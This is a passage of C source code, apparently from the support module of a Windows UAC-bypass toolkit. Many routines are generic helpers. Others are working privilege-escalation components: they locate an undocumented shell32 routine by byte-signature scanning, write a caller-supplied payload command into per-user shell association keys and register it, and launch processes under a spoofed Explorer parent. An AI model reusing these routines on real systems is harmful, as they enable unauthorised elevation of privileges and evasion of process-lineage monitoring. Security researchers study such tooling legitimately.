        supSecureVirtualFree(p, Size, NULL);

        return bResult;
    }
    return FALSE;
}

/*
* supEnableDisableWow64Redirection
*
* Purpose:
*
* Enable/Disable Wow64 redirection.
*
*/
NTSTATUS supEnableDisableWow64Redirection(
    _In_ BOOL bDisable
)
{
    PVOID OldValue = NULL, Value;

    if (bDisable)
        Value = IntToPtr(TRUE);
    else
        Value = IntToPtr(FALSE);

    return RtlWow64EnableFsRedirectionEx(Value, &OldValue);
}

/*
* supGetProcessDebugObject
*
* Purpose:
*
* Reference process debug object.
*
*/
NTSTATUS supGetProcessDebugObject(
    _In_ HANDLE ProcessHandle,
    _Out_ PHANDLE DebugObjectHandle)
{
    return NtQueryInformationProcess(
        ProcessHandle,
        ProcessDebugObjectHandle,
        DebugObjectHandle,
        sizeof(HANDLE),
        NULL);
}

/*
* supIsProcessRunning
*
* Purpose:
*
* Return TRUE if the given process is running in current session.
*
*/
BOOL supIsProcessRunning(
    _In_ LPWSTR ProcessName
)
{
    BOOL bResult = FALSE;
    ULONG nextEntryDelta = 0;
    PVOID processList;

    UNICODE_STRING lookupPsName;

    union {
        PSYSTEM_PROCESS_INFORMATION Processes;
        PBYTE ListRef;
    } List;

    processList = supGetSystemInfo(SystemProcessInformation);
    if (processList == NULL)
        return bResult;

    List.ListRef = (PBYTE)processList;

    RtlInitUnicodeString(&lookupPsName, ProcessName);

    do {

        List.ListRef += nextEntryDelta;

        if (List.Processes->SessionId == NtCurrentPeb()->SessionId) {

            if (RtlEqualUnicodeString(&lookupPsName,
                &List.Processes->ImageName,
                TRUE))
            {
                bResult = TRUE;
                break;
            }

        }

        nextEntryDelta = List.Processes->NextEntryDelta;

    } while (nextEntryDelta);

    supHeapFree(processList);

    return bResult;
}

/*
* supBinTextEncode
*
* Purpose:
*
* Create pseudo random string from UI64 value.
*
*/
VOID supBinTextEncode(
    _In_ unsigned __int64 x,
    _Inout_ wchar_t* s
)
{
    char    tbl[64];
    char    c = 0;
    int     p;

    tbl[62] = '-';
    tbl[63] = '_';

    for (c = 0; c < 26; ++c)
    {
        tbl[c] = 'A' + c;
        tbl[26 + c] = 'a' + c;
        if (c < 10)
            tbl[52 + c] = '0' + c;
    }

    for (p = 0; p < 13; ++p)
    {
        c = x & 0x3f;
        x >>= 5;
        *s = (wchar_t)tbl[c];
        ++s;
    }

    *s = 0;
}

/*
* supGenerateSharedObjectName
*
* Purpose:
*
* Create pseudo random object name from it ID.
*
*/
VOID supGenerateSharedObjectName(
    _In_ WORD ObjectId,
    _Inout_ LPWSTR lpBuffer
)
{
    ULARGE_INTEGER value;

    value.LowPart = MAKELONG(
        MAKEWORD(UCM_VERSION_BUILD, UCM_VERSION_REVISION),
        MAKEWORD(UCM_VERSION_MINOR, UCM_VERSION_MAJOR));

    value.HighPart = MAKELONG(UACME_SHARED_BASE_ID, ObjectId);

    supBinTextEncode(value.QuadPart, lpBuffer);
}

/*
* supSetGlobalCompletionEvent
*
* Purpose:
*
* Set global completion event state to signaled.
*
*/
VOID supSetGlobalCompletionEvent(
    VOID)
{
    if (g_ctx->SharedContext.hCompletionEvent) {
        SetEvent(g_ctx->SharedContext.hCompletionEvent);
    }
}

/*
* supWaitForGlobalCompletionEvent
*
* Purpose:
*
* Wait a little bit for things to complete.
*
*/
NTSTATUS supWaitForGlobalCompletionEvent(
    VOID)
{
    LARGE_INTEGER liDueTime;

    if (g_ctx->SharedContext.hCompletionEvent) {
#ifdef _DEBUG
        liDueTime.QuadPart = -(LONGLONG)UInt32x32To64(10000, 10000);
#else
        liDueTime.QuadPart = -(LONGLONG)UInt32x32To64(50000, 10000);
#endif
        return NtWaitForSingleObject(g_ctx->SharedContext.hCompletionEvent, FALSE, &liDueTime);
    }

    return STATUS_WAIT_0;
}

/*
* supOpenClassesKey
*
* Purpose:
*
* Open required subkey of current user.
*
*/
NTSTATUS supOpenClassesKey(
    _In_opt_ PUNICODE_STRING UserRegEntry,
    _Out_ PHANDLE KeyHandle
)
{
    UNICODE_STRING usRootKey, usKeyName;
    HANDLE rootKeyHandle = NULL, keyHandle = NULL;
    OBJECT_ATTRIBUTES obja;
    NTSTATUS ntStatus;
    ULONG dummy;

    *KeyHandle = NULL;

    if (UserRegEntry == NULL) {

        ntStatus = RtlFormatCurrentUserKeyPath(&usRootKey);
        if (!NT_SUCCESS(ntStatus))
            return ntStatus;
    }
    else {
        RtlCopyMemory(&usRootKey, UserRegEntry, sizeof(UNICODE_STRING));
    }

    InitializeObjectAttributes(&obja, &usRootKey, OBJ_CASE_INSENSITIVE, NULL, NULL);

    ntStatus = NtOpenKey(&rootKeyHandle, MAXIMUM_ALLOWED, &obja);
    if (!NT_SUCCESS(ntStatus)) {
        RtlFreeUnicodeString(&usRootKey);
        return ntStatus;
    }

    RtlInitUnicodeString(&usKeyName, T_SOFTWARE_CLASSES);
    obja.ObjectName = &usKeyName;
    obja.RootDirectory = rootKeyHandle;

    ntStatus = NtCreateKey(&keyHandle,
        MAXIMUM_ALLOWED,
        &obja,
        0,
        NULL,
        REG_OPTION_NON_VOLATILE,
        &dummy);

    if (NT_SUCCESS(ntStatus))
        *KeyHandle = keyHandle;

    NtClose(rootKeyHandle);

    if (UserRegEntry == NULL)
        RtlFreeUnicodeString(&usRootKey);

    return ntStatus;
}


/*
* supRemoveRegLinkHKCU
*
* Purpose:
*
* Remove registry symlink for current user.
*
*/
NTSTATUS supRemoveRegLinkHKCU(
    _In_ LPWSTR lpszRegLink
)
{
    NTSTATUS status = STATUS_UNSUCCESSFUL;

    ULONG cbKureND;

    UNICODE_STRING usCurrentUser, usLinkPath;
    OBJECT_ATTRIBUTES obja;
    UNICODE_STRING CmSymbolicLinkValue = RTL_CONSTANT_STRING(L"SymbolicLinkValue");

    PWSTR lpLinkKeyBuffer = NULL;
    SIZE_T memIO;

    HANDLE hKey = NULL;

    cbKureND = (ULONG)(_strlen(lpszRegLink)) * sizeof(WCHAR);

    InitializeObjectAttributes(&obja, &usLinkPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = RtlFormatCurrentUserKeyPath(&usCurrentUser);
    if (!NT_SUCCESS(status))
        return status;

    do {

        memIO = sizeof(UNICODE_NULL) + usCurrentUser.MaximumLength + cbKureND;
        lpLinkKeyBuffer = (PWSTR)supHeapAlloc(memIO);
        if (lpLinkKeyBuffer == NULL)
            break;

        usLinkPath.Buffer = lpLinkKeyBuffer;
        usLinkPath.Length = 0;
        usLinkPath.MaximumLength = (USHORT)memIO;

        status = RtlAppendUnicodeStringToString(&usLinkPath, &usCurrentUser);
        if (!NT_SUCCESS(status))
            break;

        status = RtlAppendUnicodeToString(&usLinkPath, lpszRegLink);
        if (!NT_SUCCESS(status))
            break;

        InitializeObjectAttributes(&obja, &usLinkPath, OBJ_CASE_INSENSITIVE | OBJ_OPENLINK, NULL, NULL);

        status = NtOpenKey(&hKey,
            KEY_ALL_ACCESS,
            &obja);

        if (NT_SUCCESS(status)) {
            status = NtDeleteValueKey(hKey, &CmSymbolicLinkValue);
            if (NT_SUCCESS(status))
                status = NtDeleteKey(hKey);
            NtClose(hKey);
        }

    } while (FALSE);

    if (lpLinkKeyBuffer) supHeapFree(lpLinkKeyBuffer);
    RtlFreeUnicodeString(&usCurrentUser);

    return status;
}

/*
* supFindPattern
*
* Purpose:
*
* Lookup pattern in buffer.
*
*/
PVOID supFindPattern(
    _In_ CONST PBYTE Buffer,
    _In_ SIZE_T BufferSize,
    _In_ CONST PBYTE Pattern,
    _In_ SIZE_T PatternSize
)
{
    PBYTE p0 = Buffer, pnext;

    if (PatternSize == 0)
        return NULL;

    if (BufferSize < PatternSize)
        return NULL;

    do {
        pnext = (PBYTE)memchr(p0, Pattern[0], BufferSize);
        if (pnext == NULL)
            break;

        BufferSize -= (ULONG_PTR)(pnext - p0);

        if (BufferSize < PatternSize)
            return NULL;

        if (memcmp(pnext, Pattern, PatternSize) == 0)
            return pnext;

        p0 = pnext + 1;
        --BufferSize;
    } while (BufferSize > 0);

    return NULL;
}

/*
* supLookupImageSectionByName
*
* Purpose:
*
* Lookup section pointer and size for section name.
*
*/
PVOID supLookupImageSectionByName(
    _In_ CHAR* SectionName,
    _In_ ULONG SectionNameLength,
    _In_ PVOID DllBase,
    _Out_ PULONG SectionSize
)
{
    BOOLEAN bFound = FALSE;
    ULONG i;
    PVOID Section;
    IMAGE_NT_HEADERS* NtHeaders = RtlImageNtHeader(DllBase);
    IMAGE_SECTION_HEADER* SectionTableEntry;

    //
    // Assume failure.
    //
    if (SectionSize)
        *SectionSize = 0;

    if (NtHeaders == NULL)
        return NULL;

    SectionTableEntry = (PIMAGE_SECTION_HEADER)((PCHAR)NtHeaders +
        sizeof(ULONG) +
        sizeof(IMAGE_FILE_HEADER) +
        NtHeaders->FileHeader.SizeOfOptionalHeader);

    //
    // Locate section.
    //
    i = NtHeaders->FileHeader.NumberOfSections;
    while (i > 0) {

        if (_strncmp_a(
            (CHAR*)SectionTableEntry->Name,
            SectionName,
            SectionNameLength) == 0)
        {
            bFound = TRUE;
            break;
        }

        i -= 1;
        SectionTableEntry += 1;
    }

    //
    // Section not found, abort scan.
    //
    if (!bFound)
        return NULL;

    Section = (PVOID)((ULONG_PTR)DllBase + SectionTableEntry->VirtualAddress);
    if (SectionSize)
        *SectionSize = SectionTableEntry->Misc.VirtualSize;

    return Section;
}

/*
* supGetUserAssocSetDB
*
* Purpose:
*
* Return pointer to UAS table and optionally count of entries.
*
*/
PUSER_ASSOC_SIGNATURE supGetUserAssocSetDB(
    _Out_opt_ PULONG SignatureCount
)
{
    if (SignatureCount)
        *SignatureCount = RTL_NUMBER_OF(g_UserAssocSignatures);

    return (PUSER_ASSOC_SIGNATURE)&g_UserAssocSignatures;
}

/*
* supEnumUserAssocSetDB
*
* Purpose:
*
* Enumerate UserSetAssocDB.
*
*/
VOID supEnumUserAssocSetDB(
    _In_ PSUP_UAS_ENUMERATION_CALLBACK_FUNCTION Callback,
    _In_opt_ PVOID Context
)
{
    USER_ASSOC_SIGNATURE* pSignature;
    ULONG i, signCount;

    BOOLEAN bStopEnumeration;

    bStopEnumeration = FALSE;
    signCount = RTL_NUMBER_OF(g_UserAssocSignatures);

    //
    // Iterate through signatures table.
    //
    for (i = 0; i < signCount; i++) {

        pSignature = g_UserAssocSignatures[i];

        Callback(pSignature, Context, &bStopEnumeration);

        if (bStopEnumeration)
            break;
    }
}

/*
* supFindUserAssocSet
*
* Purpose:
*
* Locate internal shell routine.
*
*/
NTSTATUS supFindUserAssocSet(
    _Out_ USER_ASSOC_PTR* Function
)
{
    HANDLE  hModule;

    PBYTE  ptrCode;
    PVOID  sectionBase, patternPtr, funcPtr;
    ULONG  i, j, signCount;
    ULONG  sectionSize = 0, patternSize = 0;
    LONG   rel = 0;
    hde64s hs;
    WCHAR  szBuffer[MAX_PATH * 2];

    USER_ASSOC_SIGNATURE* pSignature;
    USER_ASSOC_PATTERN* pPattern;
    PVOID* pTable;

    Function->UserAssocSet = NULL;
    Function->Valid = FALSE;

    //
    // Preload shell32.dll
    //
    hModule = (HMODULE)GetModuleHandle(SHELL32_DLL);
    if (hModule == NULL) {
        _strcpy(szBuffer, g_ctx->szSystemDirectory);
        _strcat(szBuffer, SHELL32_DLL);
        hModule = (HANDLE)LoadLibraryEx(szBuffer, NULL, 0);
    }
    if (hModule == NULL)
        return STATUS_DLL_NOT_FOUND;

    //
    // Find text section and remember it boundaries.
    //
    sectionBase = supLookupImageSectionByName(TEXT_SECTION,
        TEXT_SECTION_LEGNTH,
        (PVOID)hModule,
        &sectionSize);

    if (sectionBase == NULL || sectionSize == 0)
        return STATUS_INVALID_ADDRESS;


    ptrCode = NULL;
    signCount = RTL_NUMBER_OF(g_UserAssocSignatures);

    //
    // Iterate through signatures table and try each one for corresponding nt build.
    //
    for (i = 0; i < signCount; i++) {

        pSignature = g_UserAssocSignatures[i];

        //
        // If Windows version is match use signatures.
        //
        if (g_ctx->dwBuildNumber >= pSignature->NtBuildMin &&
            g_ctx->dwBuildNumber <= pSignature->NtBuildMax)
        {

            pTable = pSignature->PatternsTable;

            //
            // Try all available patterns.
            //
            for (j = 0; j < pSignature->PatternsCount; j++) {

                pPattern = pTable[j];

                patternPtr = pPattern->Ptr;
                patternSize = pPattern->Size;

                //
                // Lookup signature.
                //
                ptrCode = (PBYTE)supFindPattern(sectionBase,
                    sectionSize,
                    patternPtr,
                    patternSize);

                if (ptrCode) {

                    //
                    // Pointer within section.
                    //
                    if (IN_REGION(ptrCode, sectionBase, sectionSize)) {
                        break;
                    }
                    else {
                        ptrCode = NULL;
                    }
                }

            }

            if (ptrCode)
                break;
        }

    }

    if (ptrCode == NULL || patternSize == 0)
        return STATUS_NOT_FOUND;

    //
    // Skip signature bytes.
    //
    ptrCode = (PBYTE)RtlOffsetToPointer(ptrCode, patternSize);

    //
    // Disassemble instruction and check it to be call sus.
    //
    hde64_disasm(ptrCode, &hs);
    if (hs.flags & F_ERROR)
        return STATUS_INTERNAL_ERROR;

    if ((hs.len != 5) || (ptrCode[0] != 0xE8)) //call sus
        return STATUS_BAD_DATA;

    rel = *(PLONG)(ptrCode + 1);

    funcPtr = ptrCode + hs.len + rel;

    if (IN_REGION(funcPtr, sectionBase, sectionSize)) {
        Function->UserAssocSet = (pfnUserAssocSet)funcPtr;
        Function->Valid = TRUE;
        return STATUS_SUCCESS;
    }
    else {
        return STATUS_CONFLICTING_ADDRESSES;
    }

}

/*
* supRegisterShellAssoc
*
* Purpose:
*
* Set and register shell protocol.
*
*/
NTSTATUS supRegisterShellAssoc(
    _In_ LPCWSTR pszExt,
    _In_ LPCWSTR pszProgId,
    _In_ USER_ASSOC_PTR* UserAssocFunc,
    _In_ LPCWSTR lpszPayload,
    _In_ BOOL fCustomURIScheme,
    _In_opt_ LPCWSTR pszDefaultValue
)
{
    HANDLE classesKey = NULL, protoKey = NULL, assocKey = NULL;
    NTSTATUS ntStatus;
    SIZE_T sz;

    HRESULT hr = E_FAIL;

    WCHAR szBuffer[MAX_PATH];

    if (UserAssocFunc == NULL)
        return STATUS_INVALID_PARAMETER_3;

    if (UserAssocFunc->Valid == FALSE)
        return STATUS_INVALID_PARAMETER_3;

    if (lpszPayload == NULL)
        return STATUS_INVALID_PARAMETER_4;

    ntStatus = supOpenClassesKey(NULL, &classesKey);
    if (!NT_SUCCESS(ntStatus))
        return ntStatus;

    //
    // Write custom pluggable protocol handler mark.
    //

    if (fCustomURIScheme) {

        if (ERROR_SUCCESS == RegCreateKeyEx(classesKey,
            pszExt,
            0,
            NULL,
            REG_OPTION_NON_VOLATILE,
            KEY_SET_VALUE,
            NULL,
            (HKEY*)&protoKey,
            NULL))
        {
            RegSetValueEx(protoKey, T_URL_PROTOCOL, 0, REG_SZ, NULL, 0);

            if (pszDefaultValue) {
                sz = (_strlen(pszDefaultValue) + 1) * sizeof(WCHAR);
                RegSetValueEx(protoKey, TEXT(""), 0, REG_SZ, (BYTE*)pszDefaultValue, (DWORD)sz);
            }

            RegCloseKey(protoKey);
        }
    }

    //
    // Create protocol registry entry.
    //
    _strcpy(szBuffer, pszProgId);
    _strcat(szBuffer, T_SHELL_OPEN);
    _strcat(szBuffer, TEXT("\\"));
    _strcat(szBuffer, T_SHELL_COMMAND);

    if (ERROR_SUCCESS == RegCreateKeyEx(classesKey,
        szBuffer,
        0,
        NULL,
        REG_OPTION_NON_VOLATILE,
        MAXIMUM_ALLOWED,
        NULL,
        (HKEY*)&assocKey,
        NULL))
    {

        sz = (_strlen(lpszPayload) + 1) * sizeof(WCHAR);

        if (ERROR_SUCCESS == RegSetValueEx(assocKey,
            TEXT(""),
            0,
            REG_SZ,
            (BYTE*)lpszPayload,
            (DWORD)sz))
        {
            ntStatus = STATUS_SUCCESS;
        }
        else {
            ntStatus = STATUS_REGISTRY_IO_FAILED;
        }

        RegCloseKey(assocKey);
    }
    else {
        ntStatus = STATUS_REGISTRY_IO_FAILED;
    }

    NtClose(classesKey);

    if (!NT_SUCCESS(ntStatus))
        return ntStatus;

    ntStatus = STATUS_UNSUCCESSFUL;

    //
    // Register protocol within the shell.
    //
    if (g_ctx->dwBuildNumber > NT_WIN10_20H2) {

        hr = UserAssocFunc->UserAssocSet2(UASET_PROGID,
            pszExt,
            pszProgId,
            2);

    }
    else {

        switch (g_ctx->dwBuildNumber) {
        case NT_WIN10_19H1:
        case NT_WIN10_19H2:
        case NT_WIN10_REDSTONE5:

            hr = UserAssocFunc->UserAssocSet2(UASET_PROGID,
                pszExt,
                pszProgId,
                2);

            break;

        default:

            hr = UserAssocFunc->UserAssocSet(UASET_PROGID,
                pszExt,
                pszProgId);

            break;
        }

    }

    if (SUCCEEDED(hr)) {
        ntStatus = STATUS_SUCCESS;
    }
    else if (hr == E_ACCESSDENIED) {
        ntStatus = STATUS_ACCESS_DENIED;
    }

    return ntStatus;
}

/*
* supUnregisterShellAssocEx
*
* Purpose:
*
* Unregister and optionally remove shell protocol.
*
*/
NTSTATUS supUnregisterShellAssocEx(
    _In_ BOOLEAN fResetOnly,
    _In_ LPCWSTR pszExt,
    _In_opt_ LPCWSTR pszProgId,
    _In_ USER_ASSOC_PTR* UserAssocFunc
)
{
    NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
    HANDLE classesKey = NULL;
    HRESULT hr;

    if (UserAssocFunc == NULL)
        return STATUS_INVALID_PARAMETER_3;

    if (UserAssocFunc->Valid == FALSE)
        return STATUS_INVALID_PARAMETER_3;

    if (fResetOnly == FALSE) {
        ntStatus = supOpenClassesKey(NULL, &classesKey);
        if (!NT_SUCCESS(ntStatus))
            return ntStatus;
    }

    switch (g_ctx->dwBuildNumber) {
    case NT_WIN10_19H1:
    case NT_WIN10_19H2:

        hr = UserAssocFunc->UserAssocSet2(UASET_CLEAR,
            pszExt,
            NULL,
            0);

        break;
    default:

        hr = UserAssocFunc->UserAssocSet(UASET_CLEAR,
            pszExt,
            NULL);

        break;
    }

    if (SUCCEEDED(hr))
        ntStatus = STATUS_SUCCESS;

    if (fResetOnly == FALSE) {
        if (pszProgId)
            supRegDeleteKeyRecursive(classesKey, pszProgId);
        supRegDeleteKeyRecursive(classesKey, pszExt);
        NtClose(classesKey);
    }

    return ntStatus;
}

/*
* supUnregisterShellAssoc
*
* Purpose:
*
* Unregister and remove shell protocol.
*
*/
NTSTATUS supUnregisterShellAssoc(
    _In_ LPCWSTR pszExt,
    _In_ LPCWSTR pszProgId,
    _In_ USER_ASSOC_PTR* UserAssocFunc
)
{
    return supUnregisterShellAssocEx(FALSE,
        pszExt,
        pszProgId,
        UserAssocFunc);
}

/*
* supResetShellAssoc
*
* Purpose:
*
* Enable/disable explorer policies.
*
*/
NTSTATUS supResetShellAssoc(
    _In_ LPCWSTR pszExt,
    _In_opt_ LPCWSTR pszProgId,
    _In_ USER_ASSOC_PTR* UserAssocFunc
)
{
    return supUnregisterShellAssocEx(TRUE,
        pszExt,
        pszProgId,
        UserAssocFunc);

}

/*
* supStopTaskByName
*
* Purpose:
*
* Stop scheduled task by name.
*
*/
BOOL supStopTaskByName(
    _In_ LPCWSTR TaskFolder,
    _In_ LPCWSTR TaskName
)
{
    BOOL bResult = FALSE;
    HRESULT hr;
    ITaskService* pService = NULL;
    ITaskFolder* pRootFolder = NULL;
    IRegisteredTask* pTask = NULL;
    TASK_STATE taskState;

    BSTR bstrTaskFolder = NULL;
    BSTR bstrTask = NULL;
    VARIANT varDummy;

    do {

        bstrTaskFolder = SysAllocString(TaskFolder);
        if (bstrTaskFolder == NULL)
            break;

        bstrTask = SysAllocString(TaskName);
        if (bstrTask == NULL)
            break;

        hr = CoCreateInstance(&CLSID_TaskScheduler,
            NULL,
            CLSCTX_INPROC_SERVER,
            &IID_ITaskService,
            (void**)&pService);

        if (FAILED(hr))
            break;

        VariantInit(&varDummy);

        hr = pService->lpVtbl->Connect(pService,
            varDummy,
            varDummy,
            varDummy,
            varDummy);

        if (FAILED(hr))
            break;

        hr = pService->lpVtbl->GetFolder(pService, bstrTaskFolder, &pRootFolder);
        if (FAILED(hr))
            break;

        hr = pRootFolder->lpVtbl->GetTask(pRootFolder, bstrTask, &pTask);
        if (FAILED(hr))
            break;

        hr = pTask->lpVtbl->get_State(pTask, &taskState);
        if (FAILED(hr))
            break;

        if (taskState == TASK_STATE_RUNNING) {
            hr = pTask->lpVtbl->Stop(pTask, 0);
        }

        bResult = SUCCEEDED(hr);

    } while (FALSE);

    if (bstrTaskFolder)
        SysFreeString(bstrTaskFolder);

    if (bstrTask)
        SysFreeString(bstrTask);

    if (pTask)
        pTask->lpVtbl->Release(pTask);

    if (pRootFolder)
        pRootFolder->lpVtbl->Release(pRootFolder);

    if (pService)
        pService->lpVtbl->Release(pService);

    return bResult;
}

/*
* supPathAddBackSlash
*
* Purpose:
*
* Add trailing backslash to the path if it doesn't have one.
*
*/
LPWSTR supPathAddBackSlash(
    _In_ LPWSTR lpszPath
)
{
    SIZE_T nLength;
    LPWSTR lpszEnd, lpszPrev, lpszResult = NULL;

    nLength = _strlen(lpszPath);

    if (nLength) {

        lpszEnd = lpszPath + nLength;

        if (lpszPath == lpszEnd)
            lpszPrev = lpszPath;
        else
            lpszPrev = (LPWSTR)lpszEnd - 1;

        if (*lpszPrev != TEXT('\\')) {
            *lpszEnd++ = TEXT('\\');
            *lpszEnd = TEXT('\0');
        }

        lpszResult = lpszEnd;

    }

    return lpszResult;
}

/*
* supOpenShellProcess
*
* Purpose:
*
* Return handle to shell process.
*
*/
HANDLE supOpenShellProcess(
    _In_ ULONG dwDesiredAccess
)
{
    HWND hwndShell = GetShellWindow();
    ULONG processId = 0, desiredAccess = dwDesiredAccess;

    GetWindowThreadProcessId(hwndShell, &processId);
    if (processId) {

        if (!(desiredAccess & PROCESS_CREATE_PROCESS))
            desiredAccess |= PROCESS_CREATE_PROCESS;

        return OpenProcess(desiredAccess, FALSE, processId);

    }

    return NULL;
}

/*
* supRunProcessFromParent
*
* Purpose:
*
* Start new process with given parent.
*
*/
HANDLE supRunProcessFromParent(
    _In_ HANDLE hParentProcess,
    _Inout_opt_ LPWSTR lpApplicationName,
    _In_ LPWSTR lpszParameters,
    _In_opt_ LPWSTR lpCurrentDirectory,
    _In_ ULONG CreationFlags,
    _In_ WORD ShowWindowFlags,
    _Out_opt_ HANDLE* PrimaryThread
)
{
    BOOL bResult = FALSE;
    DWORD dwFlags = CreationFlags | CREATE_DEFAULT_ERROR_MODE | NORMAL_PRIORITY_CLASS;

    HANDLE hNewProcess = NULL;

    LPWSTR pszBuffer = NULL;
    SIZE_T size;
    STARTUPINFOEX si;
    PROCESS_INFORMATION pi;

    if (PrimaryThread)
        *PrimaryThread = NULL;

    RtlSecureZeroMemory(&pi, sizeof(pi));
    RtlSecureZeroMemory(&si, sizeof(si));

    size = (1 + _strlen(lpszParameters)) * sizeof(WCHAR);
    pszBuffer = (LPWSTR)supHeapAlloc(size);
    if (pszBuffer) {

        _strcpy(pszBuffer, lpszParameters);
        si.StartupInfo.cb = sizeof(STARTUPINFOEX);

        size = 0x30;

        do {
            if (size > 1024)
                break;

            si.lpAttributeList = supHeapAlloc(size);
            if (si.lpAttributeList) {

                if (InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size)) {
                    if (UpdateProcThreadAttribute(si.lpAttributeList, 0,
                        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(hParentProcess), 0, 0))
                    {
                        si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
                        si.StartupInfo.wShowWindow = ShowWindowFlags;

                        bResult = CreateProcess(lpApplicationName,
                            pszBuffer,
                            NULL,
                            NULL,
                            FALSE,
                            dwFlags | EXTENDED_STARTUPINFO_PRESENT,
                            NULL,
                            lpCurrentDirectory,
                            (LPSTARTUPINFO)&si,
                            &pi);

                        if (bResult) {
                            hNewProcess = pi.hProcess;
                            if (PrimaryThread) {
                                *PrimaryThread = pi.hThread;
                            }
                            else {
                                CloseHandle(pi.hThread);
                            }
                        }

                    }

                    if (si.lpAttributeList)
                        DeleteProcThreadAttributeList(si.lpAttributeList); //dumb empty routine

                }
                supHeapFree(si.lpAttributeList);
            }

        } while (GetLastError() == ERROR_INSUFFICIENT_BUFFER);

        supHeapFree(pszBuffer);
    }

    return hNewProcess;
}

/*
* supCreateBindingHandle
*
* Purpose:
*
* Bind handle to the RPC interface.
*
*/
RPC_STATUS supCreateBindingHandle(
    _In_ RPC_WSTR RpcInterfaceUuid,
    _Out_ RPC_BINDING_HANDLE* BindingHandle
)
{
    RPC_STATUS status = RPC_S_INTERNAL_ERROR;
    RPC_SECURITY_QOS_V3 sqos;
    RPC_WSTR StringBinding = NULL;
    RPC_BINDING_HANDLE Binding = NULL;
    PSID LocalSystemSid = NULL;
    DWORD cbSid = SECURITY_MAX_SID_SIZE;


    if (BindingHandle)
        *BindingHandle = NULL;

    RtlSecureZeroMemory(&sqos, sizeof(sqos));

    status = RpcStringBindingComposeW(RpcInterfaceUuid,
        TEXT("ncalrpc"),
        NULL,
        NULL,
        NULL,
        &StringBinding);

    if (status == RPC_S_OK) {

        status = RpcBindingFromStringBindingW(StringBinding, &Binding);
        RpcStringFreeW(&StringBinding);

        if (status == RPC_S_OK) {

            LocalSystemSid = LocalAlloc(LPTR, cbSid);
            if (LocalSystemSid) {
                if (CreateWellKnownSid(WinLocalSystemSid, NULL, LocalSystemSid, &cbSid)) {

                    sqos.Version = 3;
                    sqos.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
                    sqos.Capabilities = RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH;
                    sqos.IdentityTracking = 0;
                    sqos.Sid = LocalSystemSid;

                    status = RpcBindingSetAuthInfoExW(Binding,
                        NULL,
                        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
                        RPC_C_AUTHN_WINNT,
                        0,
                        0,
                        (RPC_SECURITY_QOS*)&sqos);

                    if (status == RPC_S_OK) {
                        *BindingHandle = Binding;
                        Binding = NULL;
                    }

                }
                else {
                    status = GetLastError();
                }
                LocalFree(LocalSystemSid);
            }
            else {
                status = ERROR_NOT_ENOUGH_MEMORY;
            }
        }
    }

    if (Binding)
        RpcBindingFree(&Binding);

    return status;
}

/*
* supConcatenatePaths
*
* Purpose:
*
* Concatenate 2 paths.
*
*/
BOOL supConcatenatePaths(
    _Inout_ LPWSTR Target,
    _In_ LPCWSTR Path,
    _In_ SIZE_T TargetBufferSize
)
{
    SIZE_T TargetLength, PathLength;
    BOOL NeedSeparator;
    SIZE_T EndingLength;
    SIZE_T i;

    if (Target == NULL || Path == NULL || TargetBufferSize == 0)
        return FALSE;

    // Find current target length.
    TargetLength = 0;
    while (TargetLength < TargetBufferSize && Target[TargetLength] != 0)
        TargetLength++;

    if (TargetLength >= TargetBufferSize)
        return FALSE;

    // Strip trailing backslash from target, but preserve a lone backslash.
    if (TargetLength > 0 && Target[TargetLength - 1] == TEXT('\\')) {
        // Do not strip if the target is exactly a single backslash.
        if (!(TargetLength == 1 && Target[0] == TEXT('\\')))
        {
            TargetLength--;
        }
    }

    // Strip leading backslash from path only if target is non‑empty.
    if (TargetLength > 0 && Path[0] == TEXT('\\'))
        Path++;

    // Find path length (after possible stripping).
    PathLength = 0;
    while (Path[PathLength] != 0)
        PathLength++;

    // Determine if a separator is needed based on target's last character.
    NeedSeparator = (TargetLength > 0 && Target[TargetLength - 1] != TEXT('\\'));

    EndingLength = TargetLength + (NeedSeparator ? 1 : 0) + PathLength + 1;

    if (EndingLength > TargetBufferSize)
        return FALSE;

    // Insert separator if needed.
    if (NeedSeparator) {
        Target[TargetLength] = TEXT('\\');
        TargetLength++;
    }

    // Copy the path.
    for (i = 0; i < PathLength; i++)
        Target[TargetLength + i] = Path[i];

    Target[TargetLength + PathLength] = 0;
    return TRUE;
}

/*
* supRemoveDirectoryRecursive
*
* Purpose:
*
* Recursively deletes the specified directory and all the files in it.
*
*/
BOOL supRemoveDirectoryRecursive(
    _In_ LPCWSTR Path
)
{
    BOOL            bFind = TRUE;
    BOOL            Ret = TRUE;
    DWORD           dwAttributes;
    HANDLE          hFind;
    WCHAR           szTemp[MAX_PATH + 1];
    WCHAR           FindPath[MAX_PATH + 1];
    WIN32_FIND_DATA FindFileData;

    _strncpy(FindPath, MAX_PATH, Path, MAX_PATH);
    dwAttributes = GetFileAttributes(Path);

    if (dwAttributes & FILE_ATTRIBUTE_DIRECTORY) {
        supConcatenatePaths(FindPath, TEXT("*.*"), MAX_PATH);
    }

    hFind = FindFirstFile(FindPath, &FindFileData);

    while (hFind != INVALID_HANDLE_VALUE && bFind != FALSE) {

        _strncpy(szTemp, MAX_PATH, Path, MAX_PATH);
        supConcatenatePaths(szTemp, FindFileData.cFileName, MAX_PATH);

        //
        // This is a directory, reenter.
        //
        if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) &&
            (FindFileData.cFileName[0] != TEXT('.'))) {

            if (!supRemoveDirectoryRecursive(szTemp)) {

                Ret = FALSE;
            }

            RemoveDirectory(szTemp);
        }

        //
        // Remove file.
        //
        else if (!(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {

            DeleteFile(szTemp);
        }

        bFind = FindNextFile(hFind, &FindFileData);
    }

    FindClose(hFind);

    //
    // Remove the root directory.
    //
    dwAttributes = GetFileAttributes(Path);
    if (dwAttributes & FILE_ATTRIBUTE_DIRECTORY) {

        if (!RemoveDirectory(Path)) {

            Ret = FALSE;
        }
    }

    return Ret;
}

/*
* supEnumProcessesForSession
*
* Purpose:
*
* Enumerate running processes in given session and run callback.
*
*/
BOOL supEnumProcessesForSession(
    _In_ ULONG SessionId,
    _In_ pfnEnumProcessCallback Callback,
    _In_opt_ PVOID UserContext
)
